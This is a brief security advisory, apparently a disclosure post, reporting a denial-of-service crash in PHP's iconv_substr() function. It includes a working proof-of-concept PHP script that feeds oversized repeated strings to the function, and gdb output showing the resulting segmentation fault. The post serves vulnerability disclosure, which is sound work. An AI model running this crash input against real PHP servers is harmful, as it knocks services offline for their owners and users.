"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
iconv_substr() is vulnerable to a denial of service
Proof of concept example :
<?
$a = str_repeat ("A",9989776);/*if a bigger value is supplied, php will get freezed for a while */
$b = str_repeat("/", 2798349);// segfault happens here
iconv_substr($a,0,1,$b);
?>
result:
(gdb) run 2.php
/(2 mn later…)/
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215904064 (LWP 11430)]
0xb796e1af in _dl_open () from /lib/tls/i686/cmov/libc.so.6
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles
Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon …